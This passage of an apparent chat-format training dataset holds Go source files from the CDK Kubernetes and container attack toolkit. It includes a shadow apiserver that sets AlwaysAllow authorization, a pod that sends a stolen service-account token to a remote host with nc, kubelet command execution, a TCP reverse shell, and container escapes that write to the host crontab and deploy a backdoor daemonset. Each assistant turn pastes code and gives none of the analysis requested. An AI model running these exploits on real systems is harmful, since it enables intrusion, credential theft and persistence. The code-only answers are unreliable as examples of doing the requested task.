\"--insecure-port\") {\n\t// \tjson = argInsertReg.ReplaceAllString(json, `${1}\"--insecure-port=9443\",${2}`)\n\t// }\n\t// reg = regexp.MustCompile(`(\"--insecure-bind-address\\s*?=\\s*?)(.*?)(\")`)\n\t// json = reg.ReplaceAllString(json, \"${1}0.0.0.0${3}\")\n\t// if !strings.Contains(json, \"--insecure-bind-address\") {\n\t// \tjson = argInsertReg.ReplaceAllString(json, `${1}\"--insecure-bind-address=0.0.0.0\",${2}`)\n\t// }\n\n\t// set --secure-port to 9444\n\treg = regexp.MustCompile(`(\"--secure-port\\s*?=\\s*?)(.*?)(\")`)\n\tjson = reg.ReplaceAllString(json, \"${1}9444${3}\")\n\tif !strings.Contains(json, \"--secure-port\") {\n\t\tjson = argInsertReg.ReplaceAllString(json, `${1}\"--secure-port=9444\",${2}`)\n\t}\n\n\t// set anonymous-auth to true\n\t// change note: anonymous-auth is not valid in k8s 1.22 and later, see https://github.com/cdk-team/CDK/issues/77\n\n\t// reg = regexp.MustCompile(`(\"--anonymous-auth\\s*?=\\s*?)(.*?)(\")`)\n\t// json = reg.ReplaceAllString(json, \"${1}true${3}\")\n\t// if !strings.Contains(json, \"--anonymous-auth\") {\n\t// \tjson = argInsertReg.ReplaceAllString(json, `${1}\"--anonymous-auth=true\",${2}`)\n\t// }\n\n\t// set authorization-mode=AlwaysAllow\n\treg = regexp.MustCompile(`(\"--authorization-mode\\s*?=\\s*?)(.*?)(\")`)\n\tjson = reg.ReplaceAllString(json, \"${1}AlwaysAllow${3}\")\n\tif !strings.Contains(json, \"--authorization-mode\") {\n\t\tjson = argInsertReg.ReplaceAllString(json, `${1}\"--authorization-mode=AlwaysAllow\",${2}`)\n\t}\n\tfmt.Println(json)\n\treturn json\n}\n\nfunc deployPod(token string, serverAddr string, namespace string, data string) (string, error) {\n\topts := kubectl.K8sRequestOption{\n\t\tTokenPath: \"\",\n\t\tServer: serverAddr,\n\t\tApi: fmt.Sprintf(\"/api/v1/namespaces/%s/pods\", namespace),\n\t\tMethod: \"POST\",\n\t\tPostData: data,\n\t\tAnonymous: false,\n\t}\n\n\tswitch token {\n\tcase \"default\":\n\t\topts.TokenPath = conf.K8sSATokenDefaultPath\n\tcase \"anonymous\":\n\t\topts.TokenPath = \"\"\n\t\topts.Anonymous = true\n\tdefault:\n\t\topts.TokenPath = token\n\t}\n\n\tresp, err := kubectl.ServerAccountRequest(opts)\n\tif err != nil {\n\t\tlog.Printf(\"request apiserver uri `%s` error: %v, response: %s\", opts.Api, err, resp)\n\t\treturn \"\", errors.New(\"faild to request api-server.\")\n\t}\n\tif !strings.Contains(resp, \"selfLink\") && !strings.Contains(resp, `\"namespace\"`) {\n\t\tlog.Println(\"api-server response in deployPod:\")\n\t\tfmt.Println(resp)\n\t\treturn \"\", errors.New(\"invalid response data, possible caused by api-server forbidden this request.\")\n\t}\n\n\treturn resp, nil\n}\n\n// plugin interface\ntype K8sShadowApiServerS struct{ base.BaseExploit }\n\nfunc (p K8sShadowApiServerS) Desc() string {\n\treturn \"duplicate kube-apiserver pod, disable logs and grant all privilege to anonymous user. usage: cdk run k8s-shadow-apiserver (default|anonymous|)\"\n}\nfunc (p K8sShadowApiServerS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 1 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\n\t// get api-server connection conf in ENV\n\tlog.Println(\"getting K8s api-server API addr.\")\n\taddr, err := kubectl.ApiServerAddr()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\tfmt.Println(\"\\tFind K8s api-server in ENV:\", addr)\n\n\ttokenFlag := args[0]\n\n\tapiServerPod, err := findApiServerPodInMasterNode(tokenFlag, addr)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\tconfig, err := dumpPodConfig(tokenFlag, addr, apiServerPod, \"kube-system\")\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\t// config for shadow api-server\n\tdata := generateShadowApiServerConf(config)\n\t//fmt.Println(\"request data:\",data)\n\tresp, err := deployPod(tokenFlag, addr, \"kube-system\", data)\n\t//fmt.Println(\"response_data:\",resp)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\tlog.Println(\"exploit failed.\")\n\t\treturn false\n\t}\n\n\tif !strings.Contains(resp, \"selfLink\") && !strings.Contains(resp, `\"namespace\"`) {\n\t\tfmt.Println(\"response data:\", resp)\n\t\tlog.Println(\"exploit failed.\")\n\t\treturn false\n\t}\n\n\tlog.Println(\"shadow api-server deploy success!\")\n\tpodName := gjson.Get(resp, \"metadata.name\").String()\n\tnamespace := gjson.Get(resp, \"metadata.namespace\").String()\n\tnode := gjson.Get(resp, \"spec.nodeName\").String()\n\tfmt.Printf(\"\\tshadow api-server pod name:%s, namespace:%s, node name:%s\\n\", podName, namespace, node)\n\tfmt.Printf(\"\\tlistening port: https://%s:9444\\n\", node)\n\n\tvar token = \"\"\n\tswitch tokenFlag {\n\tcase \"default\":\n\t\ttoken, _ = kubectl.SecretToken(conf.K8sSATokenDefaultPath)\n\tcase \"anonymous\":\n\t\ttoken = \"\"\n\tdefault:\n\t\t// TODO: why default flag not to use default token(conf.K8sSATokenDefaultPath)?\n\t\ttoken, _ = kubectl.SecretToken(tokenFlag)\n\t}\n\n\t// sample:\n\t// kubectl --server=https://:9444/ --token= --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A\n\tif token == \"\" {\n\t\tfmt.Println(\"\\trun: kubectl --server=https://%s:9444 --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A\\n\", node)\n\t} else {\n\t\tfmt.Printf(\"\\trun: kubectl --server=https://%s:9444 --token=%s --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A\\n\", node, token)\n\t}\n\n\treturn true\n}\n\nfunc init() {\n\texploit := K8sShadowApiServerS{}\n\texploit.ExploitType = \"persistence\"\n\tplugin.RegisterExploit(\"k8s-shadow-apiserver\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/privilege_escalation/k8s_get_sa_token.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_k8s_get_sa_token\n// +build !no_k8s_get_sa_token\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage privilege_escalation\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n)\n\nvar k8sCreateSystemPodAPI = \"/api/v1/namespaces/kube-system/pods\"\nvar k8sGetSATokenPodConf = `{\n\t\"apiVersion\": \"v1\",\n\t\"kind\": \"Pod\",\n\t\"metadata\": {\n\t\t\"name\": \"cdk-rbac-bypass-create-pod\",\n\t\t\"namespace\": \"kube-system\"\n\t},\n\t\"spec\": {\n\t\t\"automountServiceAccountToken\": true,\n\t\t\"containers\": [{\n\t\t\t\"args\": [\"-c\", \"apt update && apt install -y netcat; cat /run/secrets/kubernetes.io/serviceaccount/token | nc ${RHOST} ${RPORT}; sleep 300\"],\n\t\t\t\"command\": [\"/bin/sh\"],\n\t\t\t\"image\": \"ubuntu\",\n\t\t\t\"name\": \"ubuntu\"\n\t\t}],\n\t\t\"hostNetwork\": true,\n\t\t\"serviceAccountName\": \"${TARGET_SERVICE_ACCOUNT}\"\n\t}\n}`\n\nfunc GetK8sSATokenViaCreatePod(tokenPath string, targetServiceAccount string, rhost string, rport string) error {\n\n\t// get api-server connection conf in ENV\n\tlog.Println(\"getting K8s api-server API addr.\")\n\taddr, err := kubectl.ApiServerAddr()\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"err found while getting K8s apiserver address.\"}\n\t}\n\tfmt.Println(\"\\tFind K8s api-server in ENV:\", addr)\n\n\t// create a pod with target serviceaccount token mounted\n\tlog.Printf(\"Trying to create a pod to dump service-account:%s token to remote server %s:%s\\n\", targetServiceAccount, rhost, rport)\n\n\topts := kubectl.K8sRequestOption{\n\t\tTokenPath: \"\",\n\t\tServer: addr,\n\t\tApi: k8sCreateSystemPodAPI,\n\t\tMethod: \"POST\",\n\t\tPostData: \"\",\n\t\tAnonymous: false,\n\t}\n\n\tswitch tokenPath {\n\tcase \"default\":\n\t\topts.TokenPath = conf.K8sSATokenDefaultPath\n\tcase \"anonymous\":\n\t\topts.TokenPath = \"\"\n\t\topts.Anonymous = true\n\tdefault:\n\t\topts.TokenPath = tokenPath\n\t}\n\n\topts.PostData = strings.Replace(k8sGetSATokenPodConf, \"${RHOST}\", rhost, -1)\n\topts.PostData = strings.Replace(opts.PostData, \"${RPORT}\", rport, -1)\n\topts.PostData = strings.Replace(opts.PostData, \"${TARGET_SERVICE_ACCOUNT}\", targetServiceAccount, -1)\n\n\tlog.Println(\"Request Body: \", opts.PostData)\n\n\tresp, err := kubectl.ServerAccountRequest(opts)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"err found while requesting K8s apiserver.\"}\n\t}\n\tlog.Println(\"api-server response:\")\n\tfmt.Println(resp)\n\n\treturn nil\n}\n\n// plugin interface\ntype K8sGetSATokenViaCreatePodS struct{ base.BaseExploit }\n\nfunc (p K8sGetSATokenViaCreatePodS) Desc() string {\n\treturn \"Dump target service-account token and send it to remote ip:port, usage: cdk run k8s-get-sa-token (default|anonymous|) \"\n}\nfunc (p K8sGetSATokenViaCreatePodS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 4 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\n\ttoken := args[0]\n\ttargetServiceAccount := args[1]\n\tremoteIP := args[2]\n\tremotePort := args[3]\n\n\terr := GetK8sSATokenViaCreatePod(token, targetServiceAccount, remoteIP, remotePort)\n\tif err != nil {\n\t\tlog.Println(\"exploit failed.\")\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc init() {\n\texploit := K8sGetSATokenViaCreatePodS{}\n\texploit.ExploitType = \"privilege-escalation\"\n\tplugin.RegisterExploit(\"k8s-get-sa-token\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/remote_control/kubelet_exec.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_kubelet_exec\n// +build !no_kubelet_exec\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage remote_control\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"sort\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n\t\"github.com/tidwall/gjson\"\n)\n\ntype KubeletExec struct{ base.BaseExploit }\n\nfunc (p KubeletExec) Desc() string {\n\tvar buffer strings.Builder\n\n\tbuffer.WriteString(\"Attack the kubelet endpoint.\")\n\tbuffer.WriteString(\"Support anonymous access or token designation.\")\n\tbuffer.WriteString(\"Usage: cdk run kubelet-exec (list|exec) /// \")\n\n\treturn buffer.String()\n}\n\nfunc (p KubeletExec) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) <= 1 {\n\t\tfmt.Println(\"Example: cdk run kubelet-exec list http://172.16.61.10:10250\")\n\t\treturn false\n\t}\n\n\tvar flag bool\n\tvar token string\n\tswitch args[0] {\n\tcase \"list\":\n\t\tif len(args) == 3 {\n\t\t\ttoken = args[2]\n\t\t}\n\t\tflag = listPods(args[1], token)\n\tcase \"exec\":\n\t\tif len(args) >= 3 {\n\t\t\tif len(args) == 4 {\n\t\t\t\ttoken = args[3]\n\t\t\t}\n\t\t\tflag = execAction(args[1], token, args[2])\n\t\t}\n\t}\n\treturn flag\n}\n\nfunc listPods(target, token string) bool {\n\topts := kubectl.K8sRequestOption{\n\t\tToken: token,\n\t\tServer: target,\n\t\tApi: \"/pods\",\n\t\tMethod: \"GET\",\n\t}\n\tif opts.Token == \"\" {\n\t\t// The local token file is obtained by default.\n\t\tsysToken, err := kubectl.GetServiceAccountToken(conf.K8sSATokenDefaultPath)\n\t\tif err != nil {\n\t\t\topts.Anonymous = true\n\t\t} else {\n\t\t\t//log.Println(\"Use local token:\", sysToken)\n\t\t\topts.Token = sysToken\n\t\t}\n\t}\n\n\tresp, err := kubectl.ServerAccountRequest(opts)\n\tif err != nil || !strings.Contains(resp, \"items\") {\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t} else {\n\t\t\tlog.Println(\"Token authentication failed!\")\n\t\t}\n\t\treturn false\n\t}\n\n\tres := make(map[string]string)\n\tpods := gjson.Get(resp, \"items\").Array()\n\tfor _, item := range pods {\n\t\tpod := item.Get(\"metadata.name\").String()\n\t\tnamespace := item.Get(\"metadata.namespace\").String()\n\t\tstatus := item.Get(\"status.phase\").String()\n\t\tcontainers := item.Get(\"spec.containers\").Array()\n\t\tfor _, c := range containers {\n\t\t\tcontainer := c.Get(\"name\").String()\n\t\t\tlink := fmt.Sprintf(\"/%s/%s/%s\", namespace, pod, container)\n\t\t\tres[link] = status\n\t\t}\n\t}\n\tif len(res) == 0 {\n\t\tlog.Println(\"No Pods were obtained.\")\n\t\treturn false\n\t}\n\n\tfmt.Printf(\"\\n%-80s\\t%-10s\\n\", \"Link\", \"Status\")\n\tfmt.Printf(\"%-80s\\t%-10s\\n\", \"----\", \"------\")\n\tvar tmplist []string\n\tfor k := range res {\n\t\ttmplist = append(tmplist, k)\n\t}\n\tsort.Strings(tmplist)\n\tfor _, k := range tmplist {\n\t\tif v, ok := res[k]; ok {\n\t\t\tfmt.Printf(\"%-80s\\t%-10s\\n\", k, v)\n\t\t}\n\t}\n\tfmt.Println()\n\treturn false\n}\n\nfunc execAction(target, token, cmd string) bool {\n\tu, _ := url.Parse(target)\n\tparams := strings.Split(u.Path, \"/\")\n\tif len(params) != 4 {\n\t\tfmt.Println(\"Example: cdk run kubelet-exec exec https://172.16.61.10:10250/kube-system/test1/test \\\"ip addr\\\"\")\n\t\treturn false\n\t}\n\tnamespace, pod, container := params[1], params[2], params[3]\n\treq_url := fmt.Sprintf(\"%s://%s/exec/%s/%s/%s?command=/bin/sh&command=-c&command=%s&error=1&output=1\",\n\t\tu.Scheme, u.Host, namespace, pod, container, url.QueryEscape(cmd))\n\n\thttpclient := &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t},\n\t\tTimeout: time.Second * 20,\n\t}\n\treq, err := http.NewRequest(\"GET\", req_url, nil)\n\tif err != nil {\n\t\treturn false\n\t}\n\tif token != \"\" {\n\t\treq.Header.Add(\"Authorization\", \"Bearer \"+strings.TrimSuffix(token, \"\\n\"))\n\t} else {\n\t\t// The local token file is obtained by default.\n\t\tsysToken, err := kubectl.GetServiceAccountToken(conf.K8sSATokenDefaultPath)\n\t\tif err == nil {\n\t\t\t//log.Println(\"Use local token:\", sysToken)\n\t\t\treq.Header.Add(\"Authorization\", \"Bearer \"+strings.TrimSuffix(sysToken, \"\\n\"))\n\t\t}\n\t}\n\treq.Header.Add(\"Connection\", \"Upgrade\")\n\treq.Header.Add(\"Upgrade\", \"websocket\")\n\treq.Header.Add(\"Sec-Websocket-Version\", \"13\")\n\treq.Header.Add(\"Sec-Websocket-Key\", \"cdktest\")\n\n\tresp, err := httpclient.Do(req)\n\tif err != nil {\n\t\treturn false\n\t}\n\traw, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tif resp.StatusCode == http.StatusSwitchingProtocols {\n\t\tif raw[7] == byte(1) {\n\t\t\tfmt.Println(\"\\nOutput:\\n\", string(raw[8:len(raw)-5]))\n\t\t} else {\n\t\t\tfmt.Println(\"\\nOutput:\\n\", string(raw[6:len(raw)-5]))\n\t\t}\n\t\treturn true\n\t}\n\tfmt.Println(string(raw))\n\treturn false\n}\n\nfunc init() {\n\texploit := KubeletExec{}\n\texploit.ExploitType = \"remote-control\"\n\tplugin.RegisterExploit(\"kubelet-exec\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/remote_control/reverse_shell.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_reverse_shell\n// +build !no_reverse_shell\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage remote_control\n\nimport (\n\t\"log\"\n\t\"net\"\n\t\"os/exec\"\n\t\"runtime\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n)\n\nfunc ReverseShell(connectString string) {\n\tvar cmd *exec.Cmd\n\tif len(connectString) == 0 { //valid input: \"192.168.0.23:2233\"\n\t\tlog.Fatal(\"invalid reverse shell remote addr: \", connectString)\n\t}\n\tconn, err := net.Dial(\"tcp\", connectString)\n\tif err != nil {\n\t\tlog.Fatal(\"fail to connect remote addr: \", connectString)\n\t}\n\n\tswitch runtime.GOOS {\n\tcase \"windows\":\n\t\tcmd = exec.Command(\"cmd.exe\")\n\tcase \"linux\":\n\t\tcmd = exec.Command(\"/bin/sh\")\n\tcase \"freebsd\":\n\t\tcmd = exec.Command(\"/bin/csh\")\n\tdefault:\n\t\tcmd = exec.Command(\"/bin/sh\")\n\t}\n\tcmd.Stdin = conn\n\tcmd.Stdout = conn\n\tcmd.Stderr = conn\n\t_ = cmd.Run()\n}\n\n// plugin interface\ntype reverseShellS struct{ base.BaseExploit }\n\nfunc (p reverseShellS) Desc() string {\n\treturn \"reverse shell to remote addr, usage: cdk run reverse-shell \"\n}\nfunc (p reverseShellS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 1 {\n\t\tlog.Println(\"Invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\tReverseShell(args[0])\n\treturn true\n}\n\nfunc init() {\n\texploit := reverseShellS{}\n\texploit.ExploitType = \"remote-control\"\n\tplugin.RegisterExploit(\"reverse-shell\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/plugin/interface.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage plugin\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"sort\"\n\t\"text/tabwriter\"\n)\n\ntype ExploitInterface interface {\n\tDesc() string\n\tRun() bool\n\tGetExploitType() string\n}\n\ntype TaskInterface interface {\n\tExec() bool\n\tDesc() string\n}\n\nvar Exploits map[string]ExploitInterface\nvar Tasks map[string]TaskInterface\n\nfunc init() {\n\tExploits = make(map[string]ExploitInterface)\n\tTasks = make(map[string]TaskInterface)\n}\n\nfunc ListAllExploit() {\n\n\twriter := tabwriter.NewWriter(os.Stdout, 1, 1, 1, ' ', tabwriter.AlignRight|tabwriter.Debug)\n\n\ttype kv struct {\n\t\tName string\n\t\tExploitType string\n\t\tDesc string\n\t}\n\n\tsortedExploits := make([]kv, 0)\n\n\tfor name, plugin := range Exploits {\n\t\tsortedExploits = append(sortedExploits, kv{name, plugin.GetExploitType(), plugin.Desc()})\n\t}\n\n\tsort.Slice(sortedExploits, func(i, j int) bool {\n\t\treturn sortedExploits[i].ExploitType < sortedExploits[j].ExploitType\n\t})\n\n\tfmt.Fprintln(writer, \"TYPE \\t NAME \\t DESC\")\n\n\tfor _, kv := range sortedExploits {\n\t\tstr := fmt.Sprintf(\"%s \\t %s \\t %s\", kv.ExploitType, kv.Name, kv.Desc)\n\t\tfmt.Fprintln(writer, str)\n\t}\n\n\twriter.Flush()\n}\n\nfunc RunSingleExploit(name string) {\n\tExploits[name].Run()\n}\n\nfunc RegisterExploit(name string, exploit ExploitInterface) {\n\tExploits[name] = exploit\n}\n\nfunc RunSingleTask(name string) {\n\t// fmt.Printf(\"[+] Running exploit: %s.\\n\", name)\n\t// fmt.Printf(\"[+] %s\\n\", Tasks[name].Desc())\n\t// Can not call cli.Args here, because it will cause \"import cycle\".\n\t// fmt.Printf(\"[+] Args: %v.\\n\", cli.Args[\"\"])\n\tTasks[name].Exec()\n}\n\nfunc RegisterTask(name string, task TaskInterface) {\n\tTasks[name] = task\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/task/auto_escape.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !thin && !no_containerd_shim_pwn && !no_k8s_shadow_apiserver && linux\n// +build !thin,!no_containerd_shim_pwn,!no_k8s_shadow_apiserver,linux\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage task\n\nimport (\n\t\"fmt\"\n\t\"github.com/cdk-team/CDK/pkg/exploit/escaping\"\n\t\"github.com/cdk-team/CDK/pkg/exploit/persistence\"\n\t\"log\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/evaluate\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\nfunc autoEscape(shellCommand string) bool {\n\n\tsuccess := false\n\n\t// 1. escape privileged container\n\tfmt.Printf(\"\\n[Auto Escape - Privileged Container]\\n\")\n\tisPrivContainer := evaluate.GetProcCapabilities()\n\tif isPrivContainer {\n\t\t// try to write crontab after running device-mount exploit\n\t\tlog.Println(\"starting to deploy exploit\")\n\t\terr, mountedDirs := escaping.AllDiskMount()\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t} else {\n\t\t\tfmt.Println(mountedDirs)\n\t\t\tfor _, mountedDir := range mountedDirs {\n\t\t\t\tcrontabDir := mountedDir + \"/etc/crontab\"\n\t\t\t\tlog.Println(\"trying to write crontab to: \", crontabDir)\n\t\t\t\terr := util.WriteShellcodeToCrontab(\"# CDK auto exploit via mounted device in privileged container\", crontabDir, shellCommand)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(err)\n\t\t\t\t} else {\n\t\t\t\t\tlog.Println(\"exploit success, shellcodes wrote to: \", crontabDir)\n\t\t\t\t\tsuccess = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// try to exec shell cmd via cgroup-mount exploit\n\t\terr = escaping.EscapeCgroup(shellCommand, \"memory\")\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t} else {\n\t\t\tlog.Println(\"exploit success.\")\n\t\t\tsuccess = true\n\t\t}\n\t} else {\n\t\tlog.Println(\"not privileged container.\")\n\t}\n\n\t// 2. escape --net=host\n\tfmt.Printf(\"\\n[Auto Escape - Shared Net Namespace]\\n\")\n\terr := escaping.ContainerdPwn(shellCommand, \"\", \"\")\n\tif err != nil {\n\t\tlog.Println(err)\n\t\tlog.Println(\"exploit failed.\")\n\t} else {\n\t\tlog.Println(\"exploit success.\")\n\t\tsuccess = true\n\t}\n\n\t// 3. escape docker.sock\n\tfmt.Printf(\"\\n[Auto Escape - docker.sock]\\n\")\n\n\t// write shellcode to host /etc/crontab via mounted dir\n\tcrontabCMD := wrapShellCMDWithCrontab(\"/host/etc/crontab\", shellCommand, \"# CDK auto exploit via docker.sock\")\n\n\tif escaping.DockerSockExploit(\"/var/run/docker.sock\", crontabCMD) {\n\t\tlog.Println(\"exploit success.\")\n\t\tsuccess = true\n\t} else {\n\t\tlog.Println(\"exploit failed\")\n\t}\n\n\t// 4. escape mounted lxcfs\n\t//success = escaping.ExploitLXCFS()\n\t//if success {\n\t//\tlog.Println(\"exploit success.\")\n\t//} else {\n\t//\tlog.Println(\"exploit failed\")\n\t//}\n\n\tk8sExploit := false\n\t// 4. check k8s anonymous login\n\tfmt.Printf(\"\\n[Auto Escape - K8s API Server]\\n\")\n\tanonymousLogin := evaluate.CheckK8sAnonymousLogin()\n\tprivServiceAccount := evaluate.CheckPrivilegedK8sServiceAccount(conf.K8sSATokenDefaultPath)\n\tk8sExploit = privServiceAccount || anonymousLogin\n\n\tif !k8sExploit {\n\t\tlog.Println(\"exploit failed\")\n\t} else {\n\t\tlog.Println(\"authorize success\")\n\n\t\tvar tokenPath string\n\t\tif privServiceAccount {\n\t\t\ttokenPath = \"default\"\n\t\t} else {\n\t\t\ttokenPath = \"anonymous\"\n\t\t}\n\n\t\taddr, err := kubectl.ApiServerAddr()\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t} else {\n\n\t\t\t// k8s backdoor daemonset\n\t\t\tfmt.Printf(\"\\n[Auto Escape - Deploy K8s Backdoor Daemonset]\\n\")\n\n\t\t\t// write shellcode to host /etc/crontab via mounted dir\n\t\t\tcrontabCMD := wrapShellCMDWithCrontab(\"# CDK auto exploit via K8s backdoor daemonset\", \"/host-root/etc/crontab\", shellCommand)\n\n\t\t\tif persistence.DeployBackdoorDaemonset(addr, tokenPath, \"alpine:latest\", crontabCMD, \"kube-proxy\") {\n\t\t\t\tlog.Println(\"exploit success\")\n\t\t\t\tsuccess = true\n\t\t\t} else {\n\t\t\t\tlog.Println(\"exploit failed\")\n\t\t\t}\n\n\t\t\t// k8s shadow api-server\n\t\t}\n\n\t}\n\n\treturn success\n}\n\nfunc wrapShellCMDWithCrontab(crontab string, shellcmd string, header string) string {\n\treturn fmt.Sprintf(\"echo \\\"\\n%s\\n* * * * * root %s\\\" >> %s\", header, shellcmd, crontab)\n}\n\n// task interface\ntype taskAutoEscapeS struct{}\n\nfunc (p taskAutoEscapeS) Desc() string {\n\treturn \"Escape container in different ways then let target execute .\"\n}\nfunc (p taskAutoEscapeS) Exec() bool {\n\tcmd := cli.Args[\"\"].(string)\n\n\tlog.Printf(\"%s\\n\", util.RedBold.Sprint(\"Caution: Flag auto-escape is deprecated as of CDK v1.5.1, and will be archived in v2.0. We recommend migrating to `./cdk eva --full` and `./cdk run`.\"))\n\n\tif autoEscape(cmd) {\n\t\tlog.Println(\"all exploits are finished, auto exploit success!\")\n\t} else {\n\t\tlog.Println(\"all exploits are finished, auto exploit failed.\")\n\t}\n\n\treturn true\n}\n\nfunc init() {\n\ttask := taskAutoEscapeS{}\n\tplugin.RegisterTask(\"auto-escape\", 